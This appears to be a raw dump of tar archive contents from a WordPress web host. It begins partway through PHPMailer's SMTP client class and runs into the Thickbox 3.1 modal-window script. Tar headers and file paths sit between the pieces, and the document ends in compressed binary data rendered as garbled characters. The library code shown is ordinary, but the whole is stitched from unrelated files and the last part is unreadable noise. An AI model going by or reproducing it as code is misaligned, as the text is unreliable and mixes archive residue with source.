        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }

    /**
     * Send an SMTP QUIT command.
     * Closes the socket if there is no error or the $close_on_error argument is true.
     * Implements from RFC 821: QUIT <CRLF>.
     *
     * @param bool $close_on_error Should the connection close if an error occurs?
     *
     * @return bool
     */
    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; //Save any error
        if ($noerror || $close_on_error) {
            $this->close();
            $this->error = $err; //Restore any error from the quit command
        }

        return $noerror;
    }

    /**
     * Send an SMTP RCPT command.
     * Sets the TO argument to $toaddr.
     * Returns true if the recipient was accepted false if it was rejected.
     * Implements from RFC 821: RCPT <SP> TO:<forward-path> <CRLF>.
     *
     * @param string $address The address the message is being sent to
     * @param string $dsn     Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE
     *                        or DELAY. If you specify NEVER all other notifications are ignored.
     *
     * @return bool
     */
    public function recipient($address, $dsn = '')
    {
        if (empty($dsn)) {
            $rcpt = 'RCPT TO:<' . $address . '>';
        } else {
            $dsn = strtoupper($dsn);
            $notify = [];

            if (strpos($dsn, 'NEVER') !== false) {
                $notify[] = 'NEVER';
            } else {
                foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) {
                    if (strpos($dsn, $value) !== false) {
                        $notify[] = $value;
                    }
                }
            }

            $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify);
        }

        return $this->sendCommand(
            'RCPT TO',
            $rcpt,
            [250, 251]
        );
    }

    /**
     * Send SMTP XCLIENT command to server and check its return code.
     *
     * @return bool True on success
     */
    public function xclient(array $vars)
    {
        $xclient_options = "";
        foreach ($vars as $key => $value) {
            if (in_array($key, SMTP::$xclient_allowed_attributes)) {
                $xclient_options .= " {$key}={$value}";
            }
        }
        if (!$xclient_options) {
            return true;
        }
        return $this->sendCommand('XCLIENT', 'XCLIENT' . $xclient_options, 250);
    }

    /**
     * Send an SMTP RSET command.
     * Abort any transaction that is currently in progress.
     * Implements RFC 821: RSET <CRLF>.
     *
     * @return bool True on success
     */
    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }

    /**
     * Send a command to an SMTP server and check its return code.
     *
     * @param string    $command       The command name - not sent to the server
     * @param string    $commandstring The actual command to send
     * @param int|array $expect        One or more expected integer success codes
     *
     * @return bool True on success
     */
    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");

            return false;
        }
        //Reject line breaks in all commands
        if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) {
            $this->setError("Command '$command' contained line breaks");

            return false;
        }
        $this->client_send($commandstring . static::LE, $command);

        $this->last_reply = $this->get_lines();
        //Fetch SMTP code and possible error code explanation
        $matches = [];
        if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) {
            $code = (int) $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
            //Cut off error code from each response line
            $detail = preg_replace(
                "/{$code}[ -]" .
                ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m',
                '',
                $this->last_reply
            );
        } else {
            //Fall back to simple parsing if regex fails
            $code = (int) substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }

        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);

        if (!in_array($code, (array) $expect, true)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );

            return false;
        }

        //Don't clear the error store when using keepalive
        if ($command !== 'RSET') {
            $this->setError('');
        }

        return true;
    }

    /**
     * Send an SMTP SAML command.
     * Starts a mail transaction from the email address specified in $from.
     * Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command. This command
     * will send the message to the users terminal if they are logged
     * in and send them an email.
     * Implements RFC 821: SAML <SP> FROM:<reverse-path> <CRLF>.
     *
     * @param string $from The address the message is from
     *
     * @return bool
     */
    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }

    /**
     * Send an SMTP VRFY command.
     *
     * @param string $name The name to verify
     *
     * @return bool
     */
    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", [250, 251]);
    }

    /**
     * Send an SMTP NOOP command.
     * Used to keep keep-alives alive, doesn't actually do anything.
     *
     * @return bool
     */
    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }

    /**
     * Send an SMTP TURN command.
     * This is an optional command for SMTP that this class does not support.
     * This method is here to make the RFC821 Definition complete for this class
     * and _may_ be implemented in future.
     * Implements from RFC 821: TURN <CRLF>.
     *
     * @return bool
     */
    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);

        return false;
    }

    /**
     * Send raw data to the server.
     *
     * @param string $data    The data to send
     * @param string $command Optionally, the command this is part of, used only for controlling debug output
     *
     * @return int|bool The number of bytes sent to the server or false on error
     */
    public function client_send($data, $command = '')
    {
        //If SMTP transcripts are left enabled, or debug output is posted online
        //it can leak credentials, so hide credentials in all but lowest level
        if (
            self::DEBUG_LOWLEVEL > $this->do_debug &&
            in_array($command, ['User & Password', 'Username', 'Password'], true)
        ) {
            $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT);
        } else {
            $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT);
        }
        set_error_handler(function () {
            call_user_func_array([$this, 'errorHandler'], func_get_args());
        });
        $result = fwrite($this->smtp_conn, $data);
        restore_error_handler();

        return $result;
    }

    /**
     * Get the latest error.
     *
     * @return array
     */
    public function getError()
    {
        return $this->error;
    }

    /**
     * Get SMTP extensions available on the server.
     *
     * @return array|null
     */
    public function getServerExtList()
    {
        return $this->server_caps;
    }

    /**
     * Get metadata about the SMTP server from its HELO/EHLO response.
     * The method works in three ways, dependent on argument value and current state:
     *   1. HELO/EHLO has not been sent - returns null and populates $this->error.
     *   2. HELO has been sent -
     *     $name == 'HELO': returns server name
     *     $name == 'EHLO': returns boolean false
     *     $name == any other string: returns null and populates $this->error
     *   3. EHLO has been sent -
     *     $name == 'HELO'|'EHLO': returns the server name
     *     $name == any other string: if extension $name exists, returns True
     *       or its options (e.g. AUTH mechanisms supported). Otherwise returns False.
     *
     * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
     *
     * @return string|bool|null
     */
    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');

            return null;
        }

        if (!array_key_exists($name, $this->server_caps)) {
            if ('HELO' === $name) {
                return $this->server_caps['EHLO'];
            }
            if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used; No information about server extensions available');

            return null;
        }

        return $this->server_caps[$name];
    }

    /**
     * Get the last reply from the server.
     *
     * @return string
     */
    public function getLastReply()
    {
        return $this->last_reply;
    }

    /**
     * Read the SMTP server's response.
     * Either before eof or socket timeout occurs on the operation.
     * With SMTP we can tell if we have more lines to read if the
     * 4th character is '-' symbol. If it is a space then we don't
     * need to read anything else.
     *
     * @return string
     */
    protected function get_lines()
    {
        //If the connection is bad, give up straight away
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        $selR = [$this->smtp_conn];
        $selW = null;
        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
            //Must pass vars in here as params are by reference
            //solution for signals inspired by https://github.com/symfony/symfony/pull/6540
            set_error_handler(function () {
                call_user_func_array([$this, 'errorHandler'], func_get_args());
            });
            $n = stream_select($selR, $selW, $selW, $this->Timelimit);
            restore_error_handler();

            if ($n === false) {
                $message = $this->getError()['detail'];

                $this->edebug(
                    'SMTP -> get_lines(): select failed (' . $message . ')',
                    self::DEBUG_LOWLEVEL
                );

                //stream_select returns false when the `select` system call is interrupted
                //by an incoming signal, try the select again
                if (stripos($message, 'interrupted system call') !== false) {
                    $this->edebug(
                        'SMTP -> get_lines(): retrying stream_select',
                        self::DEBUG_LOWLEVEL
                    );
                    $this->setError('');
                    continue;
                }

                break;
            }

            if (!$n) {
                $this->edebug(
                    'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }

            //Deliberate noise suppression - errors are handled afterwards
            $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH);
            $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL);
            $data .= $str;
            //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled),
            //or 4th character is a space or a line break char, we are done reading, break the loop.
            //String array access is a significant micro-optimisation over strlen
            if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") {
                break;
            }
            //Timed-out? Log and break
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
            //Now check if reads took too long
            if ($endtime && time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached (' .
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        }

        return $data;
    }

    /**
     * Enable or disable VERP address generation.
     *
     * @param bool $enabled
     */
    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }

    /**
     * Get VERP address generation mode.
     *
     * @return bool
     */
    public function getVerp()
    {
        return $this->do_verp;
    }

    /**
     * Set error messages and codes.
     *
     * @param string $message      The error message
     * @param string $detail       Further detail on the error
     * @param string $smtp_code    An associated SMTP error code
     * @param string $smtp_code_ex Extended SMTP code
     */
    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = [
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex,
        ];
    }

    /**
     * Set debug output method.
     *
     * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it
     */
    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }

    /**
     * Get debug output method.
     *
     * @return string
     */
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }

    /**
     * Set debug output level.
     *
     * @param int $level
     */
    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }

    /**
     * Get debug output level.
     *
     * @return int
     */
    public function getDebugLevel()
    {
        return $this->do_debug;
    }

    /**
     * Set SMTP timeout.
     *
     * @param int $timeout The timeout duration in seconds
     */
    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }

    /**
     * Get SMTP timeout.
     *
     * @return int
     */
    public function getTimeout()
    {
        return $this->Timeout;
    }

    /**
     * Reports an error number and string.
     *
     * @param int    $errno   The error number returned by PHP
     * @param string $errmsg  The error message returned by PHP
     * @param string $errfile The file the error occurred in
     * @param int    $errline The line number the error occurred on
     */
    protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0)
    {
        $notice = 'Connection failed.';
        $this->setError(
            $notice,
            $errmsg,
            (string) $errno
        );
        $this->edebug(
            "$notice Error #$errno: $errmsg [$errfile line $errline]",
            self::DEBUG_CONNECTION
        );
    }

    /**
     * Extract and return the ID of the last SMTP transaction based on
     * a list of patterns provided in SMTP::$smtp_transaction_id_patterns.
     * Relies on the host providing the ID in response to a DATA command.
     * If no reply has been received yet, it will return null.
     * If no pattern was matched, it will return false.
     *
     * @return bool|string|null
     */
    protected function recordLastTransactionID()
    {
        $reply = $this->getLastReply();

        if (empty($reply)) {
            $this->last_smtp_transaction_id = null;
        } else {
            $this->last_smtp_transaction_id = false;
            foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
                $matches = [];
                if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
                    $this->last_smtp_transaction_id = trim($matches[1]);
                    break;
                }
            }
        }

        return $this->last_smtp_transaction_id;
    }

    /**
     * Get the queue/transaction ID of the last SMTP transaction
     * If no reply has been received yet, it will return null.
     * If no pattern was matched, it will return false.
     *
     * @return bool|string|null
     *
     * @see recordLastTransactionID()
     */
    public function getLastTransactionID()
    {
        return $this->last_smtp_transaction_id;
    }
}
14338/thickbox.js.tar000064400000036000151024420100010150 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/thickbox/thickbox.js000064400000032024151024232010025743 0ustar00/*
 * Thickbox 3.1 - One Box To Rule Them All.
 * By Cody Lindley (http://www.codylindley.com)
 * Copyright (c) 2007 cody lindley
 * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
*/

if ( typeof tb_pathToImage != 'string' ) {
	var tb_pathToImage = thickboxL10n.loadingAnimation;
}

/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/

//on page load call tb_init
jQuery(document).ready(function(){
	tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
	imgLoader = new Image();// preload image
	imgLoader.src = tb_pathToImage;
});

/*
 * Add thickbox to href & area elements that have a class of .thickbox.
 * Remove the loading indicator when content in an iframe has loaded.
 */
function tb_init(domChunk){
	jQuery( 'body' )
		.on( 'click', domChunk, tb_click )
		.on( 'thickbox:iframe:loaded', function() {
			jQuery( '#TB_window' ).removeClass( 'thickbox-loading' );
		});
}

function tb_click(){
	var t = this.title || this.name || null;
	var a = this.href || this.alt;
	var g = this.rel || false;
	tb_show(t,a,g);
	this.blur();
	return false;
}

function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link

	var $closeBtn;

	try {
		if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
			jQuery("body","html").css({height: "100%", width: "100%"});
			jQuery("html").css("overflow","hidden");
			if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
				jQuery("body").append("<iframe id='TB_HideSelect'>"+thickboxL10n.noiframes+"</iframe><div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>");
				jQuery("#TB_overlay").on( 'click', tb_remove );
			}
		}else{//all others
			if(document.getElementById("TB_overlay") === null){
				jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window' class='thickbox-loading'></div>");
				jQuery("#TB_overlay").on( 'click', tb_remove );
				jQuery( 'body' ).addClass( 'modal-open' );
			}
		}

		if(tb_detectMacXFF()){
			jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
		}else{
			jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
		}

		if(caption===null){caption="";}
		jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' width='208' /></div>");//add loader to the page
		jQuery('#TB_load').show();//show loader

		var baseURL;
	   if(url.indexOf("?")!==-1){ //ff there is a query string involved
			baseURL = url.substr(0, url.indexOf("?"));
	   }else{
	   		baseURL = url;
	   }

	   var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$|\.webp$|\.avif$/;
	   var urlType = baseURL.toLowerCase().match(urlString);

		if(urlType == '.jpg' ||
			urlType == '.jpeg' ||
			urlType == '.png' ||
			urlType == '.gif' ||
			urlType == '.bmp' ||
			urlType == '.webp' ||
			urlType == '.avif'
		){//code to show images

			TB_PrevCaption = "";
			TB_PrevURL = "";
			TB_PrevHTML = "";
			TB_NextCaption = "";
			TB_NextURL = "";
			TB_NextHTML = "";
			TB_imageCount = "";
			TB_FoundURL = false;
			if(imageGroup){
				TB_TempArray = jQuery("a[rel="+imageGroup+"]").get();
				for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
					var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
						if (!(TB_TempArray[TB_Counter].href == url)) {
							if (TB_FoundURL) {
								TB_NextCaption = TB_TempArray[TB_Counter].title;
								TB_NextURL = TB_TempArray[TB_Counter].href;
								TB_NextHTML = "<span id='TB_next'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.next+"</a></span>";
							} else {
								TB_PrevCaption = TB_TempArray[TB_Counter].title;
								TB_PrevURL = TB_TempArray[TB_Counter].href;
								TB_PrevHTML = "<span id='TB_prev'>&nbsp;&nbsp;<a href='#'>"+thickboxL10n.prev+"</a></span>";
							}
						} else {
							TB_FoundURL = true;
							TB_imageCount = thickboxL10n.image + ' ' + (TB_Counter + 1) + ' ' + thickboxL10n.of + ' ' + (TB_TempArray.length);
						}
				}
			}

			imgPreloader = new Image();
			imgPreloader.onload = function(){
			imgPreloader.onload = null;

			// Resizing large images - original by Christian Montoya edited by me.
			var pagesize = tb_getPageSize();
			var x = pagesize[0] - 150;
			var y = pagesize[1] - 150;
			var imageWidth = imgPreloader.width;
			var imageHeight = imgPreloader.height;
			if (imageWidth > x) {
				imageHeight = imageHeight * (x / imageWidth);
				imageWidth = x;
				if (imageHeight > y) {
					imageWidth = imageWidth * (y / imageHeight);
					imageHeight = y;
				}
			} else if (imageHeight > y) {
				imageWidth = imageWidth * (y / imageHeight);
				imageHeight = y;
				if (imageWidth > x) {
					imageHeight = imageHeight * (x / imageWidth);
					imageWidth = x;
				}
			}
			// End Resizing

			TB_WIDTH = imageWidth + 30;
			TB_HEIGHT = imageHeight + 60;
			jQuery("#TB_window").append("<a href='' id='TB_ImageOff'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon' aria-hidden='true'></span></button></div>");

			jQuery("#TB_closeWindowButton").on( 'click', tb_remove );

			if (!(TB_PrevHTML === "")) {
				function goPrev(){
					if(jQuery(document).off("click",goPrev)){jQuery(document).off("click",goPrev);}
					jQuery("#TB_window").remove();
					jQuery("body").append("<div id='TB_window'></div>");
					tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
					return false;
				}
				jQuery("#TB_prev").on( 'click', goPrev );
			}

			if (!(TB_NextHTML === "")) {
				function goNext(){
					jQuery("#TB_window").remove();
					jQuery("body").append("<div id='TB_window'></div>");
					tb_show(TB_NextCaption, TB_NextURL, imageGroup);
					return false;
				}
				jQuery("#TB_next").on( 'click', goNext );

			}

			jQuery(document).on('keydown.thickbox', function(e){
				if ( e.which == 27 ){ // close
					tb_remove();

				} else if ( e.which == 190 ){ // display previous image
					if(!(TB_NextHTML == "")){
						jQuery(document).off('thickbox');
						goNext();
					}
				} else if ( e.which == 188 ){ // display next image
					if(!(TB_PrevHTML == "")){
						jQuery(document).off('thickbox');
						goPrev();
					}
				}
				return false;
			});

			tb_position();
			jQuery("#TB_load").remove();
			jQuery("#TB_ImageOff").on( 'click', tb_remove );
			jQuery("#TB_window").css({'visibility':'visible'}); //for safari using css instead of show
			};

			imgPreloader.src = url;
		}else{//code to show html

			var queryString = url.replace(/^[^\?]+\??/,'');
			var params = tb_parseQuery( queryString );

			TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no parameters were added to URL
			TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no parameters were added to URL
			ajaxContentW = TB_WIDTH - 30;
			ajaxContentH = TB_HEIGHT - 45;

			if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window
					urlNoQuery = url.split('TB_');
					jQuery("#TB_iframeContent").remove();
					if(params['modal'] != "true"){//iframe no modal
						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon' aria-hidden='true'></span></button></div></div><iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' >"+thickboxL10n.noiframes+"</iframe>");
					}else{//iframe modal
					jQuery("#TB_overlay").off();
						jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' allowtransparency='true' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'>"+thickboxL10n.noiframes+"</iframe>");
					}
			}else{// not an iframe, ajax
					if(jQuery("#TB_window").css("visibility") != "visible"){
						if(params['modal'] != "true"){//ajax no modal
						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><button type='button' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><span class='tb-close-icon' aria-hidden='true'></span></button></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
						}else{//ajax modal
						jQuery("#TB_overlay").off();
						jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");
						}
					}else{//this means the window is already up, we are just loading new content via ajax
						jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
						jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
						jQuery("#TB_ajaxContent")[0].scrollTop = 0;
						jQuery("#TB_ajaxWindowTitle").html(caption);
					}
			}

			jQuery("#TB_closeWindowButton").on( 'click', tb_remove );

				if(url.indexOf('TB_inline') != -1){
					jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
					jQuery("#TB_window").on('tb_unload', function () {
						jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
					});
					tb_position();
					jQuery("#TB_load").remove();
					jQuery("#TB_window").css({'visibility':'visible'});
				}else if(url.indexOf('TB_iframe') != -1){
					tb_position();
					jQuery("#TB_load").remove();
					jQuery("#TB_window").css({'visibility':'visible'});
				}else{
					var load_url = url;
					load_url += -1 === url.indexOf('?') ? '?' : '&';
					jQuery("#TB_ajaxContent").load(load_url += "random=" + (new Date().getTime()),function(){//to do a post change this load method
						tb_position();
						jQuery("#TB_load").remove();
						tb_init("#TB_ajaxContent a.thickbox");
						jQuery("#TB_window").css({'visibility':'visible'});
					});
				}

		}

		if(!params['modal']){
			jQuery(document).on('keydown.thickbox', function(e){
				if ( e.which == 27 ){ // close
					tb_remove();
					return false;
				}
			});
		}

		$closeBtn = jQuery( '#TB_closeWindowButton' );
		/*
		 * If the native Close button icon is visible, move focus on the button
		 * (e.g. in the Network Admin Themes screen).
		 * In other admin screens is hidden and replaced by a different icon.
		 */
		if ( $closeBtn.find( '.tb-close-icon' ).is( ':visible' ) ) {
			$closeBtn.trigger( 'focus' );
		}

	} catch(e) {
		//nothing here
	}
}

//helper functions below
function tb_showIframe(){
	jQuery("#TB_load").remove();
	jQuery("#TB_window").css({'visibility':'visible'}).trigger( 'thickbox:iframe:loaded' );
}

function tb_remove() {
 	jQuery("#TB_imageOff").off("click");
	jQuery("#TB_closeWindowButton").off("click");
	jQuery( '#TB_window' ).fadeOut( 'fast', function() {
		jQuery( '#TB_window, #TB_overlay, #TB_HideSelect' ).trigger( 'tb_unload' ).off().remove();
		jQuery( 'body' ).trigger( 'thickbox:removed' );
	});
	jQuery( 'body' ).removeClass( 'modal-open' );
	jQuery("#TB_load").remove();
	if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
		jQuery("body","html").css({height: "auto", width: "auto"});
		jQuery("html").css("overflow","");
	}
	jQuery(document).off('.thickbox');
	return false;
}

function tb_position() {
var isIE6 = typeof document.body.style.maxHeight === "undefined";
jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
	if ( ! isIE6 ) { // take away IE6
		jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
	}
}

function tb_parseQuery ( query ) {
   var Params = {};
   if ( ! query ) {return Params;}// return empty object
   var Pairs = query.split(/[;&]/);
   for ( var i = 0; i < Pairs.length; i++ ) {
      var KeyVal = Pairs[i].split('=');
      if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
      var key = unescape( KeyVal[0] );
      var val = unescape( KeyVal[1] );
      val = val.replace(/\+/g, ' ');
      Params[key] = val;
   }
   return Params;
}

function tb_getPageSize(){
	var de = document.documentElement;
	var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
	var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
	arrayPageSize = [w,h];
	return arrayPageSize;
}

function tb_detectMacXFF() {
  var userAgent = navigator.userAgent.toLowerCase();
  if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
    return true;
  }
}
14338/wp-pointer.min.js.min.js.tar.gz000064400000002666151024420100013052 0ustar00��W˓�6Ϲ��l�,�MZ�Cs饏���M�-�c��K����Ʋ2=4m�����c)Vl�UL��?�QR��	+X����Ţ.e�e"����P[���hS^�"����G�?K��*���(����˛���ه�j|s��z<��L^]�����d2�q|�UKW����?\��wK.���q���*��K/F�\du�(.
,��:�<�k*膧�0ڔ�U";Qjz��֏y,e��JAĽ��Z��M�$�]��-�UL�U1X��U�A��@�k���#�"�#~�:$Za��\H�ˊe��y=��<w��`~�}A�s��r��R� � �x�u���-+�;߲,�s��p�r����;���-��9DJ��ȥ���
ՇF�(!��u�Sv�^z��Ч"��-a�r �b�K?�:�j��J]�#����ȵ��r:z@�#�1�*���9�/��@�5�[����kŐ�up\�C��i����B��?*����(��:J�Ĩɋ��Y�P��K�-�sҙ��82z�@w	�q�]p���9�R
j������!��+,�k�5tw, E6�YN1�6�����2��!*D�С���jj�ދt�3�L�b�z�k�E>/)"?8S���AV���"��Q���)Sq�Ğ)ܪ
��c/h�Vb�lxX/&Ǹ��ޠ�PBmKF[7��|k�&q�0�Ȁ����fƑ�5�Lj��Zc
�X3�Q�)��i6&U%�~g��q~�:^��yn��@,��@@_�XZ�N��{z���U��)��P#�}��ɇA�`� ��QN�ѽ&�L��.�l�������[�ZӤw�Dgz{��-6_�E*�A`�o����x0�`�n���)�}�A�b�ЍmK��u	a��.���Sfr����,�9����Z�߉
t�G5޶�gp���.��=v��C�&寍�`��.�Y��8�c��L���OE�B6�؛�Ȍ�+T��Nd�1���Ks�e\
,Aynr�#���n:U��5�X5k_��2h����Ujr�s�b��mk'{�������ËA�;�E�.�+�j?'��jv�2�G�*g��}���dU|�T��G��쉀�v��P
:�m�t�
���@��j���F�3Ê�9_��'�����T��;��mw���������� <!���=�r���+W����D�O'"l����+���!�!L[)�y��5�@:�|6�`e��6{\��ء��b�GQ���>����t;;��]�:�aX6��>]�f*}������I4���6F�ѵ��v���9��ovj>�==�4@�Z��wf^�g�wRLJ,y7>�N�g.L��,�u��Ƽ���б����WB\Qu0\�y��Y�
����ԧ�����zZ���wT�14338/Psr16.php.php.tar.gz000064400000004013151024420100010627 0ustar00��X�S�H�������
���l�-@U�Ir�T�*5��X�,93{���G�-Ȓݺ�}`^�g�w���4��DI}3���ͤd"�X�$J���'�4��<�n[A:k/�;Q�y(uۋf�X#��*hwD0��V{���t��X�X�/6׮Y{����_����?x��p���o���=����u&T������_��F���U�^�2����-�wN��!��G"	����J�*1��T]����RS6�4*$ާ4�(��L$�
`"A�4d�ŵ�(��y�I���I�*��f�l�����$�V$4
Қ�y��4)O.�N.��� M2��,Uڸ�dDjҥ��a�͕a�b�`�s-)J`W�iv�Q"�-MR5�MZDٔRe����4�&Q X�+ͥ�EY�(�Uz��Ȧ"3�A9���CÈ�4��LfG�]��4Ms K��41�w2[Y��7|TE/I�(@@�i�)�$0�iMmn��A,�T�q[�������I收��'�C��a�3�d��X�Hq��L�Hĺ���əa��Q�/##�I�����eA�/��$]���D�Tm��ƒ1�6d)�$ęd��Y
��w��G���N'ق�PL�e�S��R�B1��hZ����������rm��|p�v�N.qhSg0�t��s�����zd����s2����9���d�:tm�c����aρ<(p����^��~�7�:��&A�>����?h���hpJ��9�O���9���Wh=u�>4�)�
Y��tF=˥��<�ع��uz�saw[0J�`�}�έ^�a_+�k��0�:�م:8�u\��[���;{�>C���
�,������5�{�F��9u��nn�Nt���ȵ/�v���x��|����W�l��ӱ�c�
<��g7�ķX=KA�p��9}�v���w�m�#"�R�k�b�g������r0L6����ƾ��5!�8B���dP�H�5O�o���3�߱K�,����H��1�c�P;2�s�`[�YrӤ��S��6� f������뜗��j�\��J��p�~՞��̓��,r����׷k���W2�(��i�͏�mmL�G�������1�g�R�.�V:ǎ�CI��c�?x��K��7D�
